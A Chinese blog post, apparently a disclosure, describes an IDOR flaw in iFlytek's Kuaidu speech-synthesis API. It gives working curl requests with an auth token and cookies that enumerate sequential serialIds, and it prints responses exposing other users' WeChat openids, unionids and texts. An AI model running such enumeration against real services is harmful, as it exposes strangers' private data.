科大讯飞语音合成产品-讯飞快读的一个漏洞分析过程

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/ucsheep/article/details/83545640

近日在研究 讯飞快读这个产品。
之前我们使用的是百度的语音合成,完全免费。无奈,百度合成的音效实在是太机械了,不得不说,讯飞的人工音库很不错,听起来很舒服,而且角色多。缺点呢,贵!一个角色一年2W,超过2000w次调用一年10w。
但是我们的活还是要做的,于是找到的产品 讯飞快读 网页版,微信登录后免费在线合成。
心累啊,开发人员用就收的贼贵。
不, 服!
经过不屑的努力,终于成功了!可以免费无限制地使用讯飞全部的发音角色,23种,没算错的话仅仅用一下所有角色就需要花46w的吗?


分割线:以上涉及敏感信息,不做详细说明,因此看起和吐槽并没有什么区别。下面,是讯飞快读的一个漏洞。


这个漏洞,可以随时获知当前全网使用讯飞快读产生的语音条目有多少条,以及每一条的文字内容是什么。

讯飞快读每一次提交合成请求后,会返回一个 serialId ,这个参数,就是每一个合成任务的id。
讯飞快读后台每处理一次请求,serialId+1。

然后,通过下面的请求会获得合成结果。

curl 'https://www.ffkuaidu.com/pc/api/synVox/querySynthResult?serialId=4389×××&T=1540868890522' 
-H 'authorization: oiuDg3Nn0.Eii3amZwNr83UAU1Fvk-raCJuahG_MuikbuJqapBAg' 
-H 'accept-encoding: gzip, deflate, br' 
-H 'accept-language: zh-CN,zh;q=0.9' 
-H 'user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36' 
-H 'accept: application/json, text/plain, */*' 
-H 'referer: https://www.ffkuaidu.com/?code=023p7Lyuiyyiu2mQ5z1C1rgg234&state=' 
-H 'authority: www.ffkuaidu.com' 
-H 'cookie: v5_eqid=aaa2290bd7cabb; HQ_lvt_bf769641971db6=1540868239,1540863374; HQ_lpvt_bf7687a6a786=1540868874' 
--compressed

不难看出来,没有接口签名,没有做加密,主键策略还是自增长。

那我随意请求一个试试,于是,发起下面的请求,看看serialID=4393602这个人到底要合成什么?

curl 'https://www.ffkuaidu.com/pc/api/synVox/querySynthResult?serialId=4393602&T=1540891035949' (认证信息省略) --compressed

最终的结果是

{
	"code": 0,
	"message": "成功",
	"data": {
		"vsriSerialid": 4393602,
		"vsriUnionid": null,
		"vsriOpenid": "oGacd0Qwc_5htzXsq8GdzjfmcBSg",
		"vsriWay": 1,
		"vsriTingurl": null,
		"vsriDownurl": null,
		"vsriTitle": "工作庸人都是点到为止,只有高手才会得寸进尺",
		"vsriCategory": "心灵鸡汤,文化,未分类",
		"vsriBgpicid": null,
		"vsriReaderid": 31,
		"vsriReadervolume": 0,
		"vsriVolume": -10,
		"vsriSpeed": 60,
		"vsriPitch": 0,
		"vsriBgtype": 1,
		"vsriBgurl": "",
		"vsriDuration": null,
		"vsriIsexport": 0,
		"vsriIstop": 0,
		"vsriInserttime": 1540891010000,
		"vsriContent": "作者 | JUNO\n\n来源 | 公众号 孤岛\n\n推荐 | 良大师\n\n前两天,有一份文件要寄出,所以电话预约了快递上门取件,快递小哥到了之后,让我把相关信息念给他听,他一边打字输入。(因为现在都不用填单而是在机器上输入相关信息即可)\n\n结果输入到一半的时候,我突然想起要更改一下寄件人信息。\n\n于是我问快递小哥:“能不能更改一下寄件人信息?”\n\n快递小哥没有直接回答我,而是用不耐烦的语气反问我:“你下单的时候怎么不更改?”\n\n我愣了一下,不明白他说这句话的意思,到底是能改还是不能改。\n\n于是我接着问:“所以,到底能改还是不能改?”\n\n他又加重了不耐烦的语气:“你下单的时候就该改的呀,现在你突然说要改,我又得把信息重新输一遍。”\n\n我忍住脾气,又问了一句:“没有其他更好的方法?譬如直接拍照识别微信上的文字?”\n\n他说:“拍照只能拍固定格式的才能识别出来呀。”\n\n我说:“那就重新输呗,有什么问题么?”\n\n他没吭声,动作激烈地把刚刚输过的信息删除,仿佛是要拿手上的机器泄愤似的。\n\n本来只是小事,但他的反应把我的脾气也引爆了,于是把文件从他手中夺回去,跟他说了一句:“不要你寄了。”\n\n气头上,我拨打了快递官方网站的电话,直接向客服投诉快递小哥服务态度恶劣,然后让他们重新再派另一个人来上门取件。\n\n第二位快递小哥上门了,在我把文件交给他的时候,他给了我一个二维码,让我直接扫码自己填写就好,于是我扫码很快填好了寄件人、收件人信息。\n\n在填的时候,他问我:“你之前是不是也让我寄过快递的?”\n\n我完全没有印象,随便接了一句:“有吗?我不记得了。”\n\n他说:“你是不是写东西的?一年前你还找我寄过一个玻璃的东西。”\n\n我特别吃惊:“你记性不会那么好吧?”\n\n他说:“我应该还加过你微信的。”\n\n结果他拿着手机把我的微信翻出来,我瞅了一眼,的确是我,还特意给我备注了:xx弄xx号xx室。\n\n走之前,快递小哥还特意跟我说了一声:“以后要寄快递的话,直接微信上跟我讲就好了,不用打官方电话那么麻烦了。”\n\n我不由得想对小哥竖个大拇指。\n\n同样是快递,给我的印象截然相反。\n\n第一个快递小哥,把情绪带到工作中不说,不仅解决不了问题,反而加剧了矛盾。\n\n明明有优化的解决方案,譬如说让我自己扫码填写,但他没有说。\n\n如果他不知道还有更优化的解决方案,只能说明他对自己的工作业务完全不了解;\n\n如果他知道也可以让客户扫码填写资料这种方式但一时没想到,说明他做事不用心,不动脑;\n\n如果他知道想到了但就是不说,说明他工作态度有问题。\n\n结果搞得我不满意,他也被投诉。\n\n而第二个快递小哥,服务态度自是不用说,虽然天气热,但是等待过程没有一丝不耐烦。\n\n最让我佩服的地方是,他能从我寄的东西当中判断我的职业。\n\n后来我才想起来,去年出书的时候,有很多本书要寄给读者,我想他大概是从书上的作者署名和寄件人名字是一样的,推测我就是那本书的作者,进而推断我的工作是和写作相关的。\n\n第二个让我佩服的地方是,每天他要上门取那么多快递,但他并没有上门取完东西就完事儿,而是加了客户的微信,以客户住的地址作为备注,和客户建立了私人联系,为以后的长期合作做了准备。\n\n后来我一直在想:\n\n同样是送快递的工作,为什么第二个快递小哥做得就比第一个好得多?\n\n区别于普通员工和优秀员工的到底是什么?\n\n为什么有的人成功得理所当然,而有的人不管做什么都很难成功?\n\n1\n\n用不用心做事,一眼能看出来\n\n经常听到一些人在抱怨:自己那么努力工作,但老板都看不到。\n\n但用心做事的人,一眼就能看出来。\n\n因为当你强调努力的时候,其实只是在强调过程,老板为什么看不到?因为你的努力并没有体现在结果上。\n\n但用心做事的人,不仅在过程中能做得好,在交付的结果上也让人满意。\n\n记得某个自媒体号曾讲过一个事情:\n\n有一次,他们公司要招一名实习生,有两个看好的候选人,于是给他们布置了一个小作业,让他们校正一篇文章,截止日期是第二天中午。\n\n结果第一个实习生很快就把作业交上来了,他直接把文档里的错别字按照自己的理解更正了,但问题是,别人根本不知道他改了哪几个地方,但另一个实习生提交上来的作业,以修订模式把自己更正的地方标注了,这样不仅能够让别人知道他修改的内容,而且也将自己的工作结果以“可视化”的方式展示出来。\n\n结果可想而知,第二个实习生被录取了。\n\n老板们的眼睛都是雪亮的,他们也许不了解你每天的工作内容,但他可以看到你交付的结果,这些结果,就是你用心做事的证明。\n\n用心做事和不用心做事的区别就在于交付的结果,光是努力但不出活,你的努力为了自我感动,没有任何价值。\n\n2\n\n用心做事的人,没有理由不成功\n\n在北京读大三的时候,曾预约一家理发店做头发,那是一家门店并不大的理发店,两层,老板是个中年男人,待在第二层,一般负责最开始的沟通和最后定型的部分。\n\n做头发的过程中,陆陆续续有客人进来,很多人都是熟客,屋子里不一会儿就挤满了人,很多还得在沙发上坐着等。\n\n在上到二楼做最后定型时,发现镜子周围挂满了老板与很多一线明星的合影,老板一边给我吹着头发,一边介绍说很多明星的发型都是指定自己来做的。\n\n而且他们家做头发有一个特点,就是很多女生其实不太会打理自己的头发,所以经常在店里做完挺满意的,结果回到家之后不会打理头发,就变得很凌乱,但是他做的头发不需要特别的打理,正常洗头吹头就可以了。\n\n还有一点,他强调说,“你烫的这个卷我是有考虑过的,三个月头发长长之后,你可以再来我这里,简单修剪一下就可以变成一个半卷了,到时候出来效果应该也挺好看的。”\n\n做完头发之后,他用手机给我拍了照,让我加了他的微信,说以后方便预约。\n\n当时只是觉得他们家做的头发确实还挺好看的,虽然价格不便宜,但是觉得挺值的,后来偶尔也会在微信上看到了他发的朋友圈,通常是一些顾客在他店里做头发的前后对比照。\n\n直到大四实习的时候后,再次去他们家剪头发,没想到上了二楼和老板沟通想要的发型时,他竟然说了一句:“说不出哪里变了,不过感觉你比去年更好看了。”\n\n说着他拿出手机,竟然翻到了当时给我拍的照片。\n\n那时候觉得很惊讶,没想到他还记得我,毕竟我也不是常客。\n\n现在想想,人家能开几家分店而且家家生意都很火爆也不是没有道理的。\n\n第一,他在墙上挂着和明星的合影,就是在塑造自己在客户心中的专业性;\n\n第二,他给我拍照,一方面可以作为自己的作品展示在朋友圈中,另一方面便于客户管理;\n\n第三,他戳中了大多数女生的痛点,就是不会打理自己的头发,因此一旦他解决了客户的痛点,就比其他理发店成功了;\n\n第四,他善于经营自己的朋友圈,每天通过发自己的作品和明星的合影给自家理发店植入软广,不仅增加了理发店的曝光度,而且通过不停刷存在感和一些优惠活动,潜移默化让朋友圈的客户只要一想剪头发就想到他的家,增加用户粘性。\n\n工作中也是一样,你看那个刚入职三个月不到就被老板大肆表扬的员工,不一定只会拍马屁,也因为每一件工作他都能比老板更提前想到,而且考虑得更加周到。\n\n那么怎么才算是用心做事呢?\n\n3\n\n解决本质问题,而不是解决表面问题\n\n上班的时候,从地铁站出来之后要乘坐一个电梯,有的时候,最上层的那段电梯会坏掉,总看见维修工人在那里辛苦的工作。\n\n修好后,电梯就能正常运行一段周期,后来我观察到,似乎每隔2个周左右的时间,电梯就需要维修一次。\n\n我虽然不懂电梯维修的技术,但总好奇:\n\n为什么电梯定期会出问题?\n\n维修人员工作的时候是否只是暂时解决了运行的表面问题,但其实还存在更深的问题?\n\n他们以为只要让电梯正常运行了,就能应付过去了,宁愿每次花2个小时让电梯暂时恢复运行,然后每个月多次维修,也不愿意花一两天的时间把电梯出问题的根本问题给一劳永逸的解决了。\n\n工作中,很多人其实也和这些电梯维修人员一样,用勤奋来解决每天出现的紧急不重要的任务,却潜意识里逃避那些重要却不紧急的问题。\n\n即便他们知道只要花时间去梳理、调整就能极大地提高工作效率,但这些问题就像是一团缠绕的毛线,只要看到就觉得很麻烦,于是选择一天天任由它拖延下去,以为只要不想不看就不存在了一样。\n\n为什么?因为怕麻烦。\n\n殊不知,工作中,怕麻烦不是通往便捷的道路,不怕麻烦才是。\n\n有时候,工作中的麻烦事儿就像是搅成一团的毛线球,你需要观察这团毛线球,然后找到最关键的那个结点,一扯,所有的问题自然会迎刃而解。\n\n4\n\n每天比前一天更“得寸进尺”\n\n同样是工作,有的人做一遍和做一百遍没有任何进步,而有的人,每做一遍就能比上一遍更精进,关键在于,你是否刻意在日常重复的工作中投入创造性的部分。\n\n就拿扫地这件事情说,比如,昨天你是从大厅的左边扫到右边,那么有的人第二天还是继续重复昨天的动作。\n\n但你也可以考虑从四周向中间扫,或者如果发现用扫帚扫不干净,那用拖把试试怎样?如果用拖把效果也不好,那么向上司建议,花钱买台吸尘器如何?\n\n即便是扫地这种看起来简单的事情,只要用心做,日复一日地钻研,也可以成为扫地专家。\n\n日积月累,你打扫得又快又干净,也许某一天被大楼的管理人员看到,把整幢大楼地清扫工作都委托你负责,甚至到后来,你可以成立自己的清洁公司。\n\n所以,稻盛和夫也说:“无论多么渺小的工作,都积极去做,抱着问题意识,对现状动脑筋进行改良,能这么做的人和缺乏这种精神的人,假以时日,两者之间会产生惊人的差距。”\n\n即便是工作中做了千百遍的工作,也尝试着问问自己:有没有办法优化?有没有更好的解决办法?\n\n自媒体作者spenser曾说过,在发一篇文章之前,往往会问自己以下几个问题:\n\n这个标题吸引人吗?\n\n这篇文章对于读者有哪些痛点,他们真正的兴趣是什么?\n\n这个认知对于大家高级吗?\n\n这样的排版是不是利于阅读呢?\n\n转发这篇文章的人的心里是怎样的呢?\n\n如今做自媒体的人很多,但真正能够靠自媒体吃饭、甚至把它变成自己事业的人并不多。\n\n为什么?\n\n开公众号、写文章、拥有几百的阅读量是一件门槛很低的事情,但真正能写出10w+文章,让公众号盈利,并且超过工资所带来的收入是一件非常难的事情。\n\n这其中的差别,就在于普通人和专高手之间的区别,普通人满足于入门,而专家从不满足于此。\n\n因为工作庸人都是“点到为止”,而高手都是“得寸进尺”,持续迭代刷新。\n\n5\n\n用心工作的人不存在抽离状态\n\n有一次和朋友去重庆玩,去小吃街的时候看到一家店排了很长的队,味道想必应该很不错。\n\n朋友是做销售的,一边排队,一边观察店家跟我说:你看,这个店主很狡猾,他给别人舀汤圆的时候故意动作很慢,明明锅里还有汤圆,还要撒谎说没有了,要等几分钟重新煮。就是为了让这些人排在这里,营造一种东西很好吃人很多的假象,这样就会吸引更多人排队来买。\n\n即便我们在旅行途中,他也会和店家聊天,了解他们的经营情况,并且给予改善的建议。\n\n也就是说,不管何时何地,他都带着工作视角去观察、学习身边的事物,看到别家做的好的,就想着我们自己能不能用,看到别人做的不好的,也反思自己是否可以避免。\n\n一个用心做事的人,是不存在抽离的状态的,工作视野已经成为他们生活的一部分。\n\n一个好的产品经理,在使用一个App时,一定不仅是用来叫外卖或打车,而是着眼于使用的流畅性和用户体验;\n\n一个好的设计,在逛淘宝时也不仅仅是在找一件心仪的衣服,而是着眼于配色和页面文字的排版;\n\n一个好的文案,在等待地铁的时候, 不仅仅是看着广告打发时间,而是在心里默读海报上的文案,思考哪里写得好,哪里可以更好。\n\n他们并不刻意将生活和工作分开,所以总是能从生活中发现工作的灵感和启迪,为工作注入了新的思考和激情。\n\n就拿我写文章来说,每当看到一篇好的文章,我总会想他们的素材从哪里找的,文章结构是怎样的,文字风格哪里可以借鉴;\n\n和朋友聊天的时候,对方的某个观点可能就会成为文章的选题;\n\n平时周末看书的时候,也不仅试图理解书的内容,而是思考着某个小故事可以作为素材备用。\n\n所以普通人每天工作8小时,但习惯在生活中也带着工作视野的人,24小时都在迭代刷新。\n\n如果把工作看作一种投资,那么,你用心做事的程度,决定了你的回报率。\n\n你不把工作放在心上,工作就会对你敷衍以待。\n\n-END-",
		"readerName": "百合仙子-文学",
		"bgVoxId": 0,
		"bgName": null,
		"bgClassId": 0,
		"bgClassName": null,
		"readerClassId": 1,
		"bgPicUrl": null,
		"contentList": [10, 1, 12, 1, 9, 1, 4, 9, 14, 9, 12, 8, 26, 1, 11, 16, 1, 1, 23, 2, 1, 12, 26, 2, 1, 6, 12, 11, 1, 1, 11, 10, 2, 1, 25, 9, 12, 2, 1, 6, 17, 15, 2, 1, 22, 2, 1, 11, 7, 2, 1, 5, 16, 15, 1, 1, 7, 15, 13, 14, 2, 1, 4, 14, 18, 21, 11, 12, 10, 13, 20, 1, 1, 6, 20, 2, 1, 8, 11, 6, 2, 1, 13, 17, 2, 1, 17, 2, 1, 15, 2, 1, 16, 6, 5, 19, 1, 1, 4, 24, 12, 13, 2, 1, 14, 1, 1, 6, 10, 1, 1, 8, 11, 9, 8, 1, 1, 11, 12, 6, 1, 1, 17, 20, 1, 28, 9, 5, 1, 14, 11, 1, 1, 9, 6, 1, 1, 9, 10, 6, 14, 1, 1, 10, 17, 1, 1, 8, 8, 11, 25, 12, 16, 1, 1, 12, 13, 16, 10, 12, 11, 13, 1, 1, 9, 1, 10, 21, 1, 1, 19, 1, 1, 14, 15, 1, 1, 2, 1, 7, 7, 1, 20, 8, 1, 1, 8, 8, 1, 1, 12, 10, 9, 16, 1, 1, 8, 11, 13, 1, 1, 17, 1, 4, 12, 10, 14, 10, 11, 1, 1, 19, 22, 5, 16, 15, 17, 18, 25, 1, 1, 7, 11, 1, 1, 12, 16, 13, 5, 11, 1, 1, 22, 9, 11, 7, 1, 1, 2, 1, 7, 8, 1, 10, 12, 14, 3, 9, 6, 19, 1, 1, 8, 10, 8, 13, 12, 1, 1, 12, 22, 11, 22, 1, 1, 14, 19, 14, 14, 7, 16, 11, 1, 1, 5, 5, 15, 10, 9, 17, 15, 2, 1, 7, 10, 9, 8, 1, 1, 21, 8, 8, 20, 21, 1, 1, 11, 10, 19, 17, 13, 2, 1, 8, 14, 1, 1, 9, 9, 9, 1, 1, 5, 27, 1, 1, 3, 13, 18, 1, 3, 6, 20, 12, 1, 3, 13, 12, 14, 12, 1, 3, 12, 27, 13, 18, 25, 7, 1, 1, 8, 24, 9, 20, 10, 1, 1, 13, 1, 1, 2, 1, 7, 10, 1, 6, 16, 5, 12, 16, 1, 1, 4, 13],
		"durationList": [1.9697684, 0.0, 2.363722, 0.0, 1.7727916, 0.0, 0.78790736, 1.7727916, 2.757676, 1.7727916, 2.363722, 1.5758147, 5.712328, -0.2, 2.0179677, 2.9352257, 0.0, -0.1, 4.219387, 0.36690322, -0.1, 2.2014194, 4.769742, 0.36690322, -0.2, 1.1007097, 2.2014194, 2.0179677, 0.0, -0.1, 2.0179677, 1.8345162, 0.36690322, -0.1, 6.0539017, 1.7064288, 2.2752383, 0.3792064, -0.2, 1.1376191, 3.2232544, 2.844048, 0.3792064, -0.2, 4.1712704, 0.3792064, -0.1, 2.0856352, 1.3272223, 0.3792064, -0.1, 0.948016, 3.033651, 2.844048, 0.0, -0.2, 1.3272223, 2.844048, 2.4648416, 2.6544447, 0.3792064, -0.2, 0.7584128, 2.6544447, 3.4128575, 5.3088913, 2.007911, 2.1904485, 1.8253736, 2.3729858, 3.6507473, 0.0, -0.2, 1.0952243, 3.6507473, 0.36507475, -0.1, 1.460299, 2.007911, 1.0952243, 0.36507475, -0.1, 2.3729858, 3.1031353, 0.36507475, -0.1, 3.1031353, 0.36507475, -0.1, 2.7380605, 0.36507475, -0.1, 2.920598, 1.0952243, 0.9126868, 3.46821, 0.0, -0.2, 0.7301495, 4.380897, 2.1904485, 2.3729858, 0.36507475, -0.2, 2.5555232, 0.0, 0.0, 1.0952243, 1.8253736, 0.0, -0.1, 1.460299, 4.563442, 1.7374345, 1.5443861, 0.0, -0.2, 2.123531, 2.3165793, 1.1582897, 0.0, -0.1, 3.2818205, 3.8609655, -0.2, 5.4053516, 1.7374345, 0.9652414, -0.2, 2.7026758, 2.123531, 0.0, -0.1, 1.7374345, 1.1582897, 0.0, -0.1, 1.7374345, 1.9304827, 1.1582897, 2.7026758, 0.0, -0.2, 1.9304827, 3.2818205, 0.0, -0.1, 1.5443861, 1.5443861, 2.123531, 4.8262067, 2.3165793, 3.0887723, 0.0, -0.2, 2.3165793, 2.5096276, 3.0887723, 1.9304827, 2.3165793, 2.123531, 2.5096276, 0.0, -0.2, 1.7374345, 0.0, 1.9304827, 7.7219315, 0.0, -0.1, 3.5944333, 0.0, -0.1, 2.6485298, 2.8377104, 0.0, -0.1, 0.3783614, 0.0, 1.3242649, 1.3242649, 0.0, 3.783614, 1.5134456, 0.0, -0.1, 1.5134456, 1.5134456, 0.0, -0.1, 2.2701683, 1.891807, 1.7026263, 3.0268912, 0.0, -0.2, 1.5134456, 2.0809877, 2.4593492, 0.0, -0.1, 3.2160718, -0.1, 0.7567228, 2.2701683, 1.891807, 2.6485298, 1.891807, 2.0809877, 0.0, -0.2, 3.5944333, 4.1619754, 0.9459035, 3.0268912, 2.8377104, 3.2160718, 3.4052527, 4.7295175, 0.0, -0.3, 1.3242649, 2.0809877, 0.0, -0.1, 2.2701683, 3.0268912, 2.4593492, 0.9459035, 2.0809877, 0.0, -0.2, 4.1619754, 6.432167, 2.1580963, 1.373334, 0.0, -0.2, 0.39238116, 0.0, 1.373334, 1.5695246, 0.0, 1.9619058, 2.354287, 2.746668, 0.5885717, 1.7657152, 1.1771435, 3.727621, 0.0, -0.2, 1.5695246, 1.9619058, 1.5695246, 2.5504775, 2.354287, 0.0, -0.2, 2.354287, 4.3161926, 2.1580963, 4.3161926, 0.0, -0.2, 2.746668, 3.727621, 2.746668, 2.746668, 1.373334, 3.1390493, 2.1580963, 0.0, -0.2, 0.9809529, 0.9809529, 2.9428587, 1.9619058, 1.7657152, 3.33524, 2.9428587, 0.39238116, -0.2, 1.373334, 1.9619058, 1.7657152, 1.5695246, 0.0, -0.1, 4.1200023, 1.5695246, 1.5695246, 3.9238117, 4.1200023, 0.0, -0.2, 2.1580963, 1.9619058, 7.0628433, 3.3568316, 2.566989, 0.39492136, -0.2, 1.5796854, 2.7644496, 0.0, -0.1, 1.7771461, 1.7771461, 1.7771461, 0.0, -0.1, 0.98730344, 5.3314385, 0.0, -0.1, 0.5923821, 2.566989, 3.5542922, -0.1, 0.5923821, 1.1847641, 3.9492137, 2.3695283, -0.2, 0.5923821, 2.566989, 2.3695283, 2.7644496, 2.3695283, -0.2, 0.5923821, 2.3695283, 5.3314385, 2.566989, 3.5542922, 4.9365172, 1.3822248, 0.0, -0.3, 1.5796854, 4.7390566, 1.7771461, 3.9492137, 1.9746069, 0.0, -0.2, 2.566989, 0.0, 0.0, 0.39492136, 0.0, 1.3822248, 1.9746069, -0.1, 1.1847641, 3.159371, 0.98730344, 2.3695283, 3.159371, 0.0, -0.2, 0.7898427, 6.5161896]
	}
}

霍,这是某个公众号在把自己的文章转成语音。连别人的openid和unionid都给扒出来了。。。。

再来一个 serialID=4393599

curl 'https://www.ffkuaidu.com/pc/api/synVox/querySynthResult?serialId=4393599&T=1540891035949' --compressed

结果

{
	"code": 0,
	"message": "成功",
	"data": {
		"vsriSerialid": 4393599,
		"vsriUnionid": "ovRNuwo5lYFMjOH6Xl47a_rmCsZI",
		"vsriOpenid": "oxyMg1dB5Dlg_BdD0uu_9KCndgRI",
		"vsriWay": 2,
		"vsriTingurl": null,
		"vsriDownurl": "http://cdn.ffkuaidu.com/fastread/audio/31b160ef532249cfa0e2f044162ca8a9.mp3",
		"vsriTitle": "",
		"vsriCategory": "亲子,健康,医药",
		"vsriBgpicid": null,
		"vsriReaderid": 8,
		"vsriReadervolume": 5,
		"vsriVolume": -10,
		"vsriSpeed": 40,
		"vsriPitch": 50,
		"vsriBgtype": 2,
		"vsriBgurl": "",
		"vsriDuration": 49.392,
		"vsriIsexport": 1,
		"vsriIstop": 0,
		"vsriInserttime": 1540890992000,
		"vsriContent": "外科常见疾病:腰肌劳损治疗的常用商品\n1、壮腰健肾丸:属于中成药。主要用于肾亏腰痛,膝软无力,小便频数,风湿骨痛,神经衰弱。作用原理是壮腰健肾,养血,祛风湿。孕妇忌服,儿童禁用,感冒发热者忌服。\n2、腰息痛胶囊:属于中成药,用于风湿性关节炎,肥大性腰椎炎,肥大性胸椎炎,颈椎炎,坐骨神经痛,腰肌劳损。作用原理是舒筋活络,祛瘀止痛,活血驱风。饭后口服,胃肠不适者慎服。\n[1秒]",
		"readerName": "小媛-小说",
		"bgVoxId": 0,
		"bgName": null,
		"bgClassId": 0,
		"bgClassName": null,
		"readerClassId": 1,
		"bgPicUrl": null,
		"contentList": [19, 14, 9, 5, 5, 5, 5, 10, 3, 4, 5, 5, 8, 1, 14, 9, 7, 7, 4, 6, 5, 10, 5, 5, 5, 9],
		"durationList": [5.079628, 3.8428838, 2.4061396, 1.3367442, 1.3367442, 1.3367442, 1.3367442, 2.6734884, 0.80204654, 1.0693954, 1.3367442, 1.3367442, 2.1387908, 0.0, 3.942884, 2.4061396, 1.871442, 1.871442, 1.0693954, 1.6040931, 1.3367442, 2.6734884, 1.3367442, 1.3367442, 1.3367442, 2.6735]
	}
}

看来这是做广告的啊。

最后

挺喜欢讯飞的。不知会不会有人看到,希望官方能尽快修补。

猜你喜欢

转载自blog.csdn.net/ucsheep/article/details/83545640